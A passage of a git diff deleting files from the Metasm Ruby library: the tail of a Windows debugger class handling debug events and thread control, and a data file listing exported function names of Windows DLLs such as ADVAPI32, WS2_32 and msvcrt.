@status_name[str.exceptioncode] || str.exceptioncode.to_s(16) - evt_exception(:type => type, :st => str, :firstchance => stf) - end - - when WinAPI::CREATE_THREAD_DEBUG_EVENT - st = ev.createthread - @os_thread ||= WinOS::Thread.new(@tid, st.hthread, os_process) - @os_thread.teb_base = st.lpthreadlocalbase if st.lpthreadlocalbase.to_i != 0 - evt_newthread(:st => st) - - when WinAPI::CREATE_PROCESS_DEBUG_EVENT - # XXX 32 vs 64 struct undecidable before we get hprocess.. - st = ev.createprocess - if not @os_process - @os_process = WinOS::Process.new(@pid, st.hprocess) - @os_thread ||= WinOS::Thread.new(@tid, st.hthread, os_process) - initialize_osprocess - else - @os_thread ||= WinOS::Thread.new(@tid, st.hthread, os_process) - end - @os_thread.teb_base = st.lpthreadlocalbase if st.lpthreadlocalbase.to_i != 0 - hfile = st.hfile - evt_newprocess(:st => st) - WinAPI.closehandle(hfile) - - when WinAPI::EXIT_THREAD_DEBUG_EVENT - st = ev.exitthread - evt_endthread(:exitcode => st.dwexitcode) - - when WinAPI::EXIT_PROCESS_DEBUG_EVENT - st = ev.exitprocess - evt_endprocess(:exitcode => st.dwexitcode) - - when WinAPI::LOAD_DLL_DEBUG_EVENT - st = ev.loaddll - hfile = st.hfile - evt_loadlibrary(:address => st.lpbaseofdll, :st => st) - WinAPI.closehandle(hfile) - - when WinAPI::UNLOAD_DLL_DEBUG_EVENT - st = ev.unloaddll - evt_unloadlibrary(:address => st.lpbaseofdll) - - when WinAPI::OUTPUT_DEBUG_STRING_EVENT - st = ev.debugstring - str = WinAPI.decode_c_ary("__int#{st.funicode != 0 ? 16 : 8}", st.ndebugstringlength, @memory, st.lpdebugstringdata) if st.lpdebugstringdata - str = str.to_array.pack('C*') rescue str.to_array.pack('v*') - evt_debugstring(:string => str, :st => str) - - when WinAPI::RIP_EVENT - st = ev.ripinfo - evt_ripevent(:st => st) - end - end - - def evt_debugstring(info={}) - @state = :stopped - @info = "debugstring" - - log "Debugstring: #{info[:string].inspect}" - - callback_debugstring[info] if callback_debugstring - - # allow callback to skip this call to continue() by setting info[:nocontinue] = true - continue unless info[:nocontinue] - end - - def evt_unloadlibrary(info={}) - @state = :stopped - @info = "unload library" - - callback_unloadlibrary[info] if callback_unloadlibrary - - continue unless info[:nocontinue] - end - - def evt_ripevent(info={}) - @state = :stopped - @info = "rip_event" # wtf? - - callback_ripevent[info] if callback_ripevent - - continue unless info[:nocontinue] - end - - def do_check_target - do_waitfordebug(0) - end - - def do_wait_target - do_waitfordebug(WinAPI::INFINITE) - end - - def do_waitfordebug(timeout) - @dbg_eventstruct ||= WinAPI.alloc_c_struct('_DEBUG_EVENT') - if WinAPI.waitfordebugevent(@dbg_eventstruct, timeout) != 0 - update_dbgev(@dbg_eventstruct) - true - end - end - - def del_tid - # tell Windows to release the THREAD object - WinAPI.continuedebugevent(@pid, @tid, @continuecode) - super() - end - - # do nothing, windows will send us a EXIT_PROCESS event - def del_tid_notid - nil while do_waitfordebug(10) and !@tid - end - - def del_pid - # tell Windows to release the PROCESS object - WinAPI.debugactiveprocessstop(@pid) if WinAPI.respond_to?(:debugactiveprocessstop) - super() - end - - def break - return if @state != :running - # debugbreak() will create a new thread to 0xcc, but wont touch existing threads - suspend - end - - def suspend - os_thread.suspend - invalidate - @state = :stopped - @info = 'thread suspended' - @continuecode = :suspended - end - - def resume - @state = :running - @info = nil - os_thread.resume - end - - def detach - del_all_breakpoints - if not WinAPI.respond_to? :debugactiveprocessstop - raise 'detach not supported' - end - # handle pending bp events - # TODO check_target needs the Breakpoint objects... - #pid = @pid ; 50.times { check_target } ; self.pid = pid - - # if we detach after a dbgevt and before calling continuedbgevent, the thread - # may receive unhandled exceptions (eg BPX) and crash the process right after detach - each_tid { do_continue if @state == :stopped } - del_pid - end - - def kill(exitcode=0) - os_process.terminate(exitcode) - end - - def pass_current_exception(doit = true) - return if @continuecode == :suspended - @continuecode = (doit ? WinAPI::DBG_EXCEPTION_NOT_HANDLED : WinAPI::DBG_CONTINUE) - end -end -end diff --git a/lib/metasm/metasm/os/windows_exports.rb b/lib/metasm/metasm/os/windows_exports.rb deleted file mode 100644 index 185fc2ffc2..0000000000 --- a/lib/metasm/metasm/os/windows_exports.rb +++ /dev/null @@ -1,745 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -module Metasm -class WindowsExports - # exported symbol name => exporting library name for common libraries - # used by PE#autoimports - EXPORT = {} - # see samples/pe_listexports for the generator of this data - data = <<EOL # XXX libraries do not support __END__/DATA... -ADVAPI32 - I_ScGetCurrentGroupStateW A_SHAFinal A_SHAInit A_SHAUpdate AbortSystemShutdownA AbortSystemShutdownW AccessCheck AccessCheckAndAuditAlarmA - AccessCheckAndAuditAlarmW AccessCheckByType AccessCheckByTypeAndAuditAlarmA AccessCheckByTypeAndAuditAlarmW AccessCheckByTypeResultList - AccessCheckByTypeResultListAndAuditAlarmA AccessCheckByTypeResultListAndAuditAlarmByHandleA AccessCheckByTypeResultListAndAuditAlarmByHandleW - AccessCheckByTypeResultListAndAuditAlarmW AddAccessAllowedAce AddAccessAllowedAceEx AddAccessAllowedObjectAce AddAccessDeniedAce AddAccessDeniedAceEx - AddAccessDeniedObjectAce AddAce AddAuditAccessAce AddAuditAccessAceEx AddAuditAccessObjectAce AddUsersToEncryptedFile AdjustTokenGroups AdjustTokenPrivileges - AllocateAndInitializeSid AllocateLocallyUniqueId AreAllAccessesGranted AreAnyAccessesGranted BackupEventLogA BackupEventLogW BuildExplicitAccessWithNameA - BuildExplicitAccessWithNameW BuildImpersonateExplicitAccessWithNameA BuildImpersonateExplicitAccessWithNameW BuildImpersonateTrusteeA BuildImpersonateTrusteeW - BuildSecurityDescriptorA BuildSecurityDescriptorW BuildTrusteeWithNameA BuildTrusteeWithNameW BuildTrusteeWithObjectsAndNameA BuildTrusteeWithObjectsAndNameW - BuildTrusteeWithObjectsAndSidA BuildTrusteeWithObjectsAndSidW BuildTrusteeWithSidA BuildTrusteeWithSidW CancelOverlappedAccess ChangeServiceConfig2A - ChangeServiceConfig2W ChangeServiceConfigA ChangeServiceConfigW CheckTokenMembership ClearEventLogA ClearEventLogW CloseCodeAuthzLevel CloseEncryptedFileRaw - CloseEventLog CloseServiceHandle CloseTrace CommandLineFromMsiDescriptor ComputeAccessTokenFromCodeAuthzLevel ControlService ControlTraceA ControlTraceW - ConvertAccessToSecurityDescriptorA ConvertAccessToSecurityDescriptorW ConvertSDToStringSDRootDomainA ConvertSDToStringSDRootDomainW - ConvertSecurityDescriptorToAccessA ConvertSecurityDescriptorToAccessNamedA ConvertSecurityDescriptorToAccessNamedW ConvertSecurityDescriptorToAccessW - ConvertSecurityDescriptorToStringSecurityDescriptorA ConvertSecurityDescriptorToStringSecurityDescriptorW ConvertSidToStringSidA ConvertSidToStringSidW - ConvertStringSDToSDDomainA ConvertStringSDToSDDomainW ConvertStringSDToSDRootDomainA ConvertStringSDToSDRootDomainW - ConvertStringSecurityDescriptorToSecurityDescriptorA ConvertStringSecurityDescriptorToSecurityDescriptorW ConvertStringSidToSidA ConvertStringSidToSidW - ConvertToAutoInheritPrivateObjectSecurity CopySid CreateCodeAuthzLevel CreatePrivateObjectSecurity CreatePrivateObjectSecurityEx - CreatePrivateObjectSecurityWithMultipleInheritance CreateProcessAsUserA CreateProcessAsUserSecure CreateProcessAsUserW CreateProcessWithLogonW - CreateRestrictedToken CreateServiceA CreateServiceW CreateTraceInstanceId CreateWellKnownSid CredDeleteA CredDeleteW CredEnumerateA CredEnumerateW CredFree - CredGetSessionTypes CredGetTargetInfoA CredGetTargetInfoW CredIsMarshaledCredentialA CredIsMarshaledCredentialW CredMarshalCredentialA CredMarshalCredentialW - CredProfileLoaded CredReadA CredReadDomainCredentialsA CredReadDomainCredentialsW CredReadW CredRenameA CredRenameW CredUnmarshalCredentialA - CredUnmarshalCredentialW CredWriteA CredWriteDomainCredentialsA CredWriteDomainCredentialsW CredWriteW CredpConvertCredential CredpConvertTargetInfo - CredpDecodeCredential CredpEncodeCredential CryptAcquireContextA CryptAcquireContextW CryptContextAddRef CryptCreateHash CryptDecrypt CryptDeriveKey - CryptDestroyHash CryptDestroyKey CryptDuplicateHash CryptDuplicateKey CryptEncrypt CryptEnumProviderTypesA CryptEnumProviderTypesW CryptEnumProvidersA - CryptEnumProvidersW CryptExportKey CryptGenKey CryptGenRandom CryptGetDefaultProviderA CryptGetDefaultProviderW CryptGetHashParam CryptGetKeyParam - CryptGetProvParam CryptGetUserKey CryptHashData CryptHashSessionKey CryptImportKey CryptReleaseContext CryptSetHashParam CryptSetKeyParam CryptSetProvParam - CryptSetProviderA CryptSetProviderExA CryptSetProviderExW CryptSetProviderW CryptSignHashA CryptSignHashW CryptVerifySignatureA CryptVerifySignatureW - DecryptFileA DecryptFileW DeleteAce DeleteService DeregisterEventSource DestroyPrivateObjectSecurity DuplicateEncryptionInfoFile DuplicateToken - DuplicateTokenEx ElfBackupEventLogFileA ElfBackupEventLogFileW ElfChangeNotify ElfClearEventLogFileA ElfClearEventLogFileW ElfCloseEventLog - ElfDeregisterEventSource ElfFlushEventLog ElfNumberOfRecords ElfOldestRecord ElfOpenBackupEventLogA ElfOpenBackupEventLogW ElfOpenEventLogA ElfOpenEventLogW - ElfReadEventLogA ElfReadEventLogW ElfRegisterEventSourceA ElfRegisterEventSourceW ElfReportEventA ElfReportEventW EnableTrace EncryptFileA EncryptFileW - EncryptedFileKeyInfo EncryptionDisable EnumDependentServicesA EnumDependentServicesW EnumServiceGroupW EnumServicesStatusA EnumServicesStatusExA - EnumServicesStatusExW EnumServicesStatusW EnumerateTraceGuids EqualDomainSid EqualPrefixSid EqualSid FileEncryptionStatusA FileEncryptionStatusW - FindFirstFreeAce FlushTraceA FlushTraceW FreeEncryptedFileKeyInfo FreeEncryptionCertificateHashList FreeInheritedFromArray FreeSid - GetAccessPermissionsForObjectA GetAccessPermissionsForObjectW GetAce GetAclInformation GetAuditedPermissionsFromAclA GetAuditedPermissionsFromAclW - GetCurrentHwProfileA GetCurrentHwProfileW GetEffectiveRightsFromAclA GetEffectiveRightsFromAclW GetEventLogInformation GetExplicitEntriesFromAclA - GetExplicitEntriesFromAclW GetFileSecurityA GetFileSecurityW GetInformationCodeAuthzLevelW GetInformationCodeAuthzPolicyW GetInheritanceSourceA - GetInheritanceSourceW GetKernelObjectSecurity GetLengthSid GetLocalManagedApplicationData GetLocalManagedApplications GetManagedApplicationCategories - GetManagedApplications GetMultipleTrusteeA GetMultipleTrusteeOperationA GetMultipleTrusteeOperationW GetMultipleTrusteeW GetNamedSecurityInfoA - GetNamedSecurityInfoExA GetNamedSecurityInfoExW GetNamedSecurityInfoW GetNumberOfEventLogRecords GetOldestEventLogRecord GetOverlappedAccessResults - GetPrivateObjectSecurity GetSecurityDescriptorControl GetSecurityDescriptorDacl GetSecurityDescriptorGroup GetSecurityDescriptorLength - GetSecurityDescriptorOwner GetSecurityDescriptorRMControl GetSecurityDescriptorSacl GetSecurityInfo GetSecurityInfoExA GetSecurityInfoExW - GetServiceDisplayNameA GetServiceDisplayNameW GetServiceKeyNameA GetServiceKeyNameW GetSidIdentifierAuthority GetSidLengthRequired GetSidSubAuthority - GetSidSubAuthorityCount GetTokenInformation GetTraceEnableFlags GetTraceEnableLevel GetTraceLoggerHandle GetTrusteeFormA GetTrusteeFormW GetTrusteeNameA - GetTrusteeNameW GetTrusteeTypeA GetTrusteeTypeW GetUserNameA GetUserNameW GetWindowsAccountDomainSid I_ScIsSecurityProcess I_ScPnPGetServiceName - I_ScSendTSMessage I_ScSetServiceBitsA I_ScSetServiceBitsW IdentifyCodeAuthzLevelW ImpersonateAnonymousToken ImpersonateLoggedOnUser ImpersonateNamedPipeClient - ImpersonateSelf InitializeAcl InitializeSecurityDescriptor InitializeSid InitiateSystemShutdownA InitiateSystemShutdownExA InitiateSystemShutdownExW - InitiateSystemShutdownW InstallApplication IsTextUnicode IsTokenRestricted IsTokenUntrusted IsValidAcl IsValidSecurityDescriptor IsValidSid IsWellKnownSid - LockServiceDatabase LogonUserA LogonUserExA LogonUserExW LogonUserW LookupAccountNameA LookupAccountNameW LookupAccountSidA LookupAccountSidW - LookupPrivilegeDisplayNameA LookupPrivilegeDisplayNameW LookupPrivilegeNameA LookupPrivilegeNameW LookupPrivilegeValueA LookupPrivilegeValueW - LookupSecurityDescriptorPartsA LookupSecurityDescriptorPartsW LsaAddAccountRights LsaAddPrivilegesToAccount LsaClearAuditLog LsaClose LsaCreateAccount - LsaCreateSecret LsaCreateTrustedDomain LsaCreateTrustedDomainEx LsaDelete LsaDeleteTrustedDomain LsaEnumerateAccountRights LsaEnumerateAccounts - LsaEnumerateAccountsWithUserRight LsaEnumeratePrivileges LsaEnumeratePrivilegesOfAccount LsaEnumerateTrustedDomains LsaEnumerateTrustedDomainsEx LsaFreeMemory - LsaGetQuotasForAccount LsaGetRemoteUserName LsaGetSystemAccessAccount LsaGetUserName LsaICLookupNames LsaICLookupNamesWithCreds LsaICLookupSids - LsaICLookupSidsWithCreds LsaLookupNames2 LsaLookupNames LsaLookupPrivilegeDisplayName LsaLookupPrivilegeName LsaLookupPrivilegeValue LsaLookupSids - LsaNtStatusToWinError LsaOpenAccount LsaOpenPolicy LsaOpenPolicySce LsaOpenSecret LsaOpenTrustedDomain LsaOpenTrustedDomainByName - LsaQueryDomainInformationPolicy LsaQueryForestTrustInformation LsaQueryInfoTrustedDomain LsaQueryInformationPolicy LsaQuerySecret LsaQuerySecurityObject - LsaQueryTrustedDomainInfo LsaQueryTrustedDomainInfoByName LsaRemoveAccountRights LsaRemovePrivilegesFromAccount LsaRetrievePrivateData - LsaSetDomainInformationPolicy LsaSetForestTrustInformation LsaSetInformationPolicy LsaSetInformationTrustedDomain LsaSetQuotasForAccount LsaSetSecret - LsaSetSecurityObject LsaSetSystemAccessAccount LsaSetTrustedDomainInfoByName LsaSetTrustedDomainInformation LsaStorePrivateData MD4Final MD4Init MD4Update - MD5Final MD5Init MD5Update MSChapSrvChangePassword2 MSChapSrvChangePassword MakeAbsoluteSD2 MakeAbsoluteSD MakeSelfRelativeSD MapGenericMask - NotifyBootConfigStatus NotifyChangeEventLog ObjectCloseAuditAlarmA ObjectCloseAuditAlarmW ObjectDeleteAuditAlarmA ObjectDeleteAuditAlarmW ObjectOpenAuditAlarmA - ObjectOpenAuditAlarmW ObjectPrivilegeAuditAlarmA ObjectPrivilegeAuditAlarmW OpenBackupEventLogA OpenBackupEventLogW OpenEncryptedFileRawA OpenEncryptedFileRawW - OpenEventLogA OpenEventLogW OpenProcessToken OpenSCManagerA OpenSCManagerW OpenServiceA OpenServiceW OpenThreadToken OpenTraceA OpenTraceW PrivilegeCheck - PrivilegedServiceAuditAlarmA PrivilegedServiceAuditAlarmW ProcessIdleTasks ProcessTrace QueryAllTracesA QueryAllTracesW QueryRecoveryAgentsOnEncryptedFile - QueryServiceConfig2A QueryServiceConfig2W QueryServiceConfigA QueryServiceConfigW QueryServiceLockStatusA QueryServiceLockStatusW QueryServiceObjectSecurity - QueryServiceStatus QueryServiceStatusEx QueryTraceA QueryTraceW QueryUsersOnEncryptedFile QueryWindows31FilesMigration ReadEncryptedFileRaw ReadEventLogA - ReadEventLogW RegCloseKey RegConnectRegistryA RegConnectRegistryW RegCreateKeyA RegCreateKeyExA RegCreateKeyExW RegCreateKeyW RegDeleteKeyA RegDeleteKeyW - RegDeleteValueA RegDeleteValueW RegDisablePredefinedCache RegEnumKeyA RegEnumKeyExA RegEnumKeyExW RegEnumKeyW RegEnumValueA RegEnumValueW RegFlushKey - RegGetKeySecurity RegLoadKeyA RegLoadKeyW RegNotifyChangeKeyValue RegOpenCurrentUser RegOpenKeyA RegOpenKeyExA RegOpenKeyExW RegOpenKeyW RegOpenUserClassesRoot - RegOverridePredefKey RegQueryInfoKeyA RegQueryInfoKeyW RegQueryMultipleValuesA RegQueryMultipleValuesW RegQueryValueA RegQueryValueExA RegQueryValueExW - RegQueryValueW RegReplaceKeyA RegReplaceKeyW RegRestoreKeyA RegRestoreKeyW RegSaveKeyA RegSaveKeyExA RegSaveKeyExW RegSaveKeyW RegSetKeySecurity RegSetValueA - RegSetValueExA RegSetValueExW RegSetValueW RegUnLoadKeyA RegUnLoadKeyW RegisterEventSourceA RegisterEventSourceW RegisterIdleTask RegisterServiceCtrlHandlerA - RegisterServiceCtrlHandlerExA RegisterServiceCtrlHandlerExW RegisterServiceCtrlHandlerW RegisterTraceGuidsA RegisterTraceGuidsW RemoveTraceCallback - RemoveUsersFromEncryptedFile ReportEventA ReportEventW RevertToSelf SaferCloseLevel SaferComputeTokenFromLevel SaferCreateLevel SaferGetLevelInformation - SaferGetPolicyInformation SaferIdentifyLevel SaferRecordEventLogEntry SaferSetLevelInformation SaferSetPolicyInformation SaferiChangeRegistryScope - SaferiCompareTokenLevels SaferiIsExecutableFileType SaferiPopulateDefaultsInRegistry SaferiRecordEventLogEntry SaferiReplaceProcessThreadTokens - SaferiSearchMatchingHashRules SetAclInformation SetEntriesInAccessListA SetEntriesInAccessListW SetEntriesInAclA SetEntriesInAclW SetEntriesInAuditListA - SetEntriesInAuditListW SetFileSecurityA SetFileSecurityW SetInformationCodeAuthzLevelW SetInformationCodeAuthzPolicyW SetKernelObjectSecurity - SetNamedSecurityInfoA SetNamedSecurityInfoExA SetNamedSecurityInfoExW SetNamedSecurityInfoW SetPrivateObjectSecurity SetPrivateObjectSecurityEx - SetSecurityDescriptorControl SetSecurityDescriptorDacl SetSecurityDescriptorGroup SetSecurityDescriptorOwner SetSecurityDescriptorRMControl - SetSecurityDescriptorSacl SetSecurityInfo SetSecurityInfoExA SetSecurityInfoExW SetServiceBits SetServiceObjectSecurity SetServiceStatus SetThreadToken - SetTokenInformation SetTraceCallback SetUserFileEncryptionKey StartServiceA StartServiceCtrlDispatcherA StartServiceCtrlDispatcherW StartServiceW StartTraceA - StartTraceW StopTraceA StopTraceW SynchronizeWindows31FilesAndWindowsNTRegistry SystemFunction001 SystemFunction002 SystemFunction003 SystemFunction004 - SystemFunction005 SystemFunction006 SystemFunction007 SystemFunction008 SystemFunction009 SystemFunction010 SystemFunction011 SystemFunction012 - SystemFunction013 SystemFunction014 SystemFunction015 SystemFunction016 SystemFunction017 SystemFunction018 SystemFunction019 SystemFunction020 - SystemFunction021 SystemFunction022 SystemFunction023 SystemFunction024 SystemFunction025 SystemFunction026 SystemFunction027 SystemFunction028 - SystemFunction029 SystemFunction030 SystemFunction031 SystemFunction032 SystemFunction033 SystemFunction034 SystemFunction035 SystemFunction036 - SystemFunction040 SystemFunction041 TraceEvent TraceEventInstance TraceMessage TraceMessageVa TreeResetNamedSecurityInfoA TreeResetNamedSecurityInfoW - TrusteeAccessToObjectA TrusteeAccessToObjectW UninstallApplication UnlockServiceDatabase UnregisterIdleTask UnregisterTraceGuids UpdateTraceA UpdateTraceW - WdmWmiServiceMain WmiCloseBlock WmiCloseTraceWithCursor WmiConvertTimestamp WmiDevInstToInstanceNameA WmiDevInstToInstanceNameW WmiEnumerateGuids - WmiExecuteMethodA WmiExecuteMethodW WmiFileHandleToInstanceNameA WmiFileHandleToInstanceNameW WmiFreeBuffer WmiGetFirstTraceOffset WmiGetNextEvent - WmiGetTraceHeader WmiMofEnumerateResourcesA WmiMofEnumerateResourcesW WmiNotificationRegistrationA WmiNotificationRegistrationW WmiOpenBlock - WmiOpenTraceWithCursor WmiParseTraceEvent WmiQueryAllDataA WmiQueryAllDataMultipleA WmiQueryAllDataMultipleW WmiQueryAllDataW WmiQueryGuidInformation - WmiQuerySingleInstanceA WmiQuerySingleInstanceMultipleA WmiQuerySingleInstanceMultipleW WmiQuerySingleInstanceW WmiReceiveNotificationsA - WmiReceiveNotificationsW WmiSetSingleInstanceA WmiSetSingleInstanceW WmiSetSingleItemA WmiSetSingleItemW Wow64Win32ApiEntry WriteEncryptedFileRaw -WS2_32 - accept bind closesocket connect getpeername getsockname getsockopt htonl htons ioctlsocket inet_addr inet_ntoa listen ntohl ntohs recv recvfrom select send - sendto setsockopt shutdown socket GetAddrInfoW GetNameInfoW WSApSetPostRoutine FreeAddrInfoW WPUCompleteOverlappedRequest WSAAccept WSAAddressToStringA - WSAAddressToStringW WSACloseEvent WSAConnect WSACreateEvent WSADuplicateSocketA WSADuplicateSocketW WSAEnumNameSpaceProvidersA WSAEnumNameSpaceProvidersW - WSAEnumNetworkEvents WSAEnumProtocolsA WSAEnumProtocolsW WSAEventSelect WSAGetOverlappedResult WSAGetQOSByName WSAGetServiceClassInfoA WSAGetServiceClassInfoW - WSAGetServiceClassNameByClassIdA WSAGetServiceClassNameByClassIdW WSAHtonl WSAHtons gethostbyaddr gethostbyname getprotobyname getprotobynumber getservbyname - getservbyport gethostname WSAInstallServiceClassA WSAInstallServiceClassW WSAIoctl WSAJoinLeaf WSALookupServiceBeginA WSALookupServiceBeginW - WSALookupServiceEnd WSALookupServiceNextA WSALookupServiceNextW WSANSPIoctl WSANtohl WSANtohs WSAProviderConfigChange WSARecv WSARecvDisconnect WSARecvFrom - WSARemoveServiceClass WSAResetEvent WSASend WSASendDisconnect WSASendTo WSASetEvent WSASetServiceA WSASetServiceW WSASocketA WSASocketW WSAStringToAddressA - WSAStringToAddressW WSAWaitForMultipleEvents WSCDeinstallProvider WSCEnableNSProvider WSCEnumProtocols WSCGetProviderPath WSCInstallNameSpace - WSCInstallProvider WSCUnInstallNameSpace WSCUpdateProvider WSCWriteNameSpaceOrder WSCWriteProviderOrder freeaddrinfo getaddrinfo getnameinfo WSAAsyncSelect - WSAAsyncGetHostByAddr WSAAsyncGetHostByName WSAAsyncGetProtoByNumber WSAAsyncGetProtoByName WSAAsyncGetServByPort WSAAsyncGetServByName WSACancelAsyncRequest - WSASetBlockingHook WSAUnhookBlockingHook WSAGetLastError WSASetLastError WSACancelBlockingCall WSAIsBlocking WSAStartup WSACleanup __WSAFDIsSet WEP -msvcrt - _CIacos _CIasin _CIatan _CIatan2 _CIcos _CIcosh - _CIexp _CIfmod _CIlog _CIlog10 _CIpow _CIsin _CIsinh _CIsqrt _CItan _CItanh _CxxThrowException _EH_prolog _Getdays _Getmonths _Gettnames _HUGE _Strftime - _XcptFilter __CxxCallUnwindDtor __CxxDetectRethrow __CxxExceptionFilter __CxxFrameHandler __CxxLongjmpUnwind __CxxQueryExceptionSize - __CxxRegisterExceptionObject __CxxUnregisterExceptionObject __DestructExceptionObject __RTCastToVoid __RTDynamicCast __RTtypeid __STRINGTOLD - ___lc_codepage_func ___lc_handle_func ___mb_cur_max_func ___setlc_active_func ___unguarded_readlc_active_add_func __argc __argv __badioinfo __crtCompareStringA __crtCompareStringW __crtGetLocaleInfoW __crtGetStringTypeW __crtLCMapStringA __crtLCMapStringW __dllonexit __doserrno __fpecode __getmainargs __initenv - __iob_func __isascii __iscsym __iscsymf __lc_codepage __lc_collate_cp __lc_handle __lconv_init __mb_cur_max __p___argc __p___argv __p___initenv - __p___mb_cur_max __p___wargv __p___winitenv __p__acmdln __p__amblksiz __p__commode __p__daylight __p__dstbias __p__environ __p__fileinfo __p__fmode __p__iob - __p__mbcasemap __p__mbctype __p__osver __p__pctype __p__pgmptr __p__pwctype __p__timezone __p__tzname __p__wcmdln __p__wenviron __p__winmajor __p__winminor - __p__winver __p__wpgmptr __pctype_func __pioinfo __pxcptinfoptrs __set_app_type __setlc_active __setusermatherr __threadhandle __threadid __toascii __unDName - __unDNameEx __unguarded_readlc_active __wargv __wcserror __wgetmainargs __winitenv _abnormal_termination _access _acmdln _adj_fdiv_m16i _adj_fdiv_m32 - _adj_fdiv_m32i _adj_fdiv_m64 _adj_fdiv_r _adj_fdivr_m16i _adj_fdivr_m32 _adj_fdivr_m32i _adj_fdivr_m64 _adj_fpatan _adj_fprem _adj_fprem1 _adj_fptan - _adjust_fdiv _aexit_rtn _aligned_free _aligned_malloc _aligned_offset_malloc _aligned_offset_realloc _aligned_realloc _amsg_exit _assert _atodbl _atoi64 - _atoldbl _beep _beginthread _beginthreadex _c_exit _cabs _callnewh _cexit _cgets _cgetws _chdir _chdrive _chgsign _chkesp _chmod _chsize _clearfp _close - _commit _commode _control87 _controlfp _copysign _cprintf _cputs _cputws _creat _cscanf _ctime64 _ctype _cwait _cwprintf _cwscanf _daylight _dstbias _dup _dup2 _ecvt _endthread _endthreadex _environ _eof _errno _except_handler2 _except_handler3 _execl _execle _execlp _execlpe _execv _execve _execvp _execvpe _exit - _expand _fcloseall _fcvt _fdopen _fgetchar _fgetwchar _filbuf _fileinfo _filelength _filelengthi64 _fileno _findclose _findfirst _findfirst64 _findfirsti64 - _findnext _findnext64 _findnexti64 _finite _flsbuf _flushall _fmode _fpclass _fpieee_flt _fpreset _fputchar _fputwchar _fsopen _fstat _fstat64 _fstati64 _ftime _ftime64 _ftol _fullpath _futime _futime64 _gcvt _get_heap_handle _get_osfhandle _get_sbh_threshold _getch _getche _getcwd _getdcwd _getdiskfree - _getdllprocaddr _getdrive _getdrives _getmaxstdio _getmbcp _getpid _getsystime _getw _getwch _getwche _getws _global_unwind2 _gmtime64 _heapadd _heapchk - _heapmin _heapset _heapused _heapwalk _hypot _i64toa _i64tow _initterm _inp _inpd _inpw _iob _isatty _isctype _ismbbalnum _ismbbalpha _ismbbgraph _ismbbkalnum - _ismbbkana _ismbbkprint _ismbbkpunct _ismbblead _ismbbprint _ismbbpunct _ismbbtrail _ismbcalnum _ismbcalpha _ismbcdigit _ismbcgraph _ismbchira _ismbckata - _ismbcl0 _ismbcl1 _ismbcl2 _ismbclegal _ismbclower _ismbcprint _ismbcpunct _ismbcspace _ismbcsymbol _ismbcupper _ismbslead _ismbstrail _isnan _itoa _itow _j0 - _j1 _jn _kbhit _lfind _loaddll _local_unwind2 _localtime64 _lock _locking _logb _longjmpex _lrotl _lrotr _lsearch _lseek _lseeki64 _ltoa _ltow _makepath - _mbbtombc _mbbtype _mbcasemap _mbccpy _mbcjistojms _mbcjmstojis _mbclen _mbctohira _mbctokata _mbctolower _mbctombb _mbctoupper _mbctype _mbsbtype _mbscat - _mbschr _mbscmp _mbscoll _mbscpy _mbscspn _mbsdec _mbsdup _mbsicmp _mbsicoll _mbsinc _mbslen _mbslwr _mbsnbcat _mbsnbcmp _mbsnbcnt _mbsnbcoll _mbsnbcpy - _mbsnbicmp _mbsnbicoll _mbsnbset _mbsncat _mbsnccnt _mbsncmp _mbsncoll _mbsncpy _mbsnextc _mbsnicmp _mbsnicoll _mbsninc _mbsnset _mbspbrk _mbsrchr _mbsrev - _mbsset _mbsspn _mbsspnp _mbsstr _mbstok _mbstrlen _mbsupr _memccpy _memicmp _mkdir _mktemp _mktime64 _msize _nextafter _onexit _open _open_osfhandle - _osplatform _osver _outp _outpd _outpw _pclose _pctype _pgmptr _pipe _popen _purecall _putch _putenv _putw _putwch _putws _pwctype _read _resetstkoflw _rmdir - _rmtmp _rotl _rotr _safe_fdiv _safe_fdivr _safe_fprem _safe_fprem1 _scalb _scprintf _scwprintf _searchenv _seh_longjmp_unwind _set_SSE2_enable _set_error_mode - _set_sbh_threshold _seterrormode _setjmp _setjmp3 _setmaxstdio _setmbcp _setmode _setsystime _sleep _snprintf _snscanf _snwprintf _snwscanf _sopen _spawnl - _spawnle _spawnlp _spawnlpe _spawnv _spawnve _spawnvp _spawnvpe _splitpath _stat _stat64 _stati64 _statusfp _strcmpi _strdate _strdup _strerror _stricmp - _stricoll _strlwr _strncoll _strnicmp _strnicoll _strnset _strrev _strset _strtime _strtoi64 _strtoui64 _strupr _swab _sys_errlist _sys_nerr _tell _telli64 - _tempnam _time64 _timezone _tolower _toupper _tzname _tzset _ui64toa _ui64tow _ultoa _ultow _umask _ungetch _ungetwch _unlink _unloaddll _unlock _utime - _utime64 _vscprintf _vscwprintf _vsnprintf _vsnwprintf _waccess _wasctime _wchdir _wchmod _wcmdln _wcreat _wcsdup _wcserror _wcsicmp _wcsicoll _wcslwr - _wcsncoll _wcsnicmp _wcsnicoll _wcsnset _wcsrev _wcsset _wcstoi64 _wcstoui64 _wcsupr _wctime _wctime64 _wenviron _wexecl _wexecle _wexeclp _wexeclpe _wexecv - _wexecve _wexecvp _wexecvpe _wfdopen _wfindfirst _wfindfirst64 _wfindfirsti64 _wfindnext _wfindnext64 _wfindnexti64 _wfopen _wfreopen _wfsopen _wfullpath - _wgetcwd _wgetdcwd _wgetenv _winmajor _winminor _winver _wmakepath _wmkdir _wmktemp _wopen _wperror _wpgmptr _wpopen _wputenv _wremove _wrename _write _wrmdir - _wsearchenv _wsetlocale _wsopen _wspawnl _wspawnle _wspawnlp _wspawnlpe _wspawnv _wspawnve _wspawnvp _wspawnvpe _wsplitpath _wstat _wstat64 _wstati64 _wstrdate _wstrtime _wsystem _wtempnam _wtmpnam _wtof _wtoi _wtoi64 _wtol _wunlink _wutime _wutime64 _y0 _y1 _yn abort abs acos asctime asin atan atan2 atexit atof atoi - atol bsearch calloc ceil clearerr clock cos cosh ctime difftime div exit exp fabs fclose feof ferror fflush fgetc fgetpos fgets fgetwc fgetws floor fmod fopen - fprintf fputc fputs fputwc fputws fread free freopen frexp fscanf fseek fsetpos ftell fwprintf fwrite fwscanf getc getchar getenv gets getwc getwchar gmtime - is_wctype isalnum isalpha iscntrl isdigit isgraph isleadbyte islower isprint ispunct isspace isupper iswalnum iswalpha iswascii iswcntrl iswctype iswdigit - iswgraph iswlower iswprint iswpunct iswspace iswupper iswxdigit isxdigit labs ldexp ldiv localeconv localtime log log10 longjmp malloc mblen mbstowcs mbtowc - memchr memcmp memcpy memmove memset mktime modf perror pow printf putc putchar puts putwc putwchar qsort raise 